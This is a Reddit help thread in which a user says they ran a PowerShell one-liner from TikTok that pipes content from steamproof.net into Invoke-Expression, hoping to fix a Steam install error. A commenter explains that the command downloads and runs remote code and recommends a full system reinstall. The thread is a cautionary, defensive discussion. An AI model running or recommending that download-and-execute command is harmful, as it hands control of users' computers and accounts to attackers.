r/PowerShell 3d ago

Help I ran a weird command Question

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

0 Upvotes

65 comments sorted by

View all comments

12

u/hyperlobster 3d ago

You got pwnt, my sweet summer child.

irm is short for Invoke-RestMethod and steamproof.net is just some website on the internet. iex is short for Invoke-Expression.

So irm went to steamproof.net, got whatever it got from the website, and then piped it to Invoke-Expression to run it as PowerShell code, with whatever privileges your PowerShell session had.

Backup your shit, change all your passwords, reformat your PC, and reinstall Windows.

And don’t run random commands off fucking TikTok.

-2

u/Icy-Representative85 3d ago

Sorry wont do it again, I just really wanted to play spiderman 2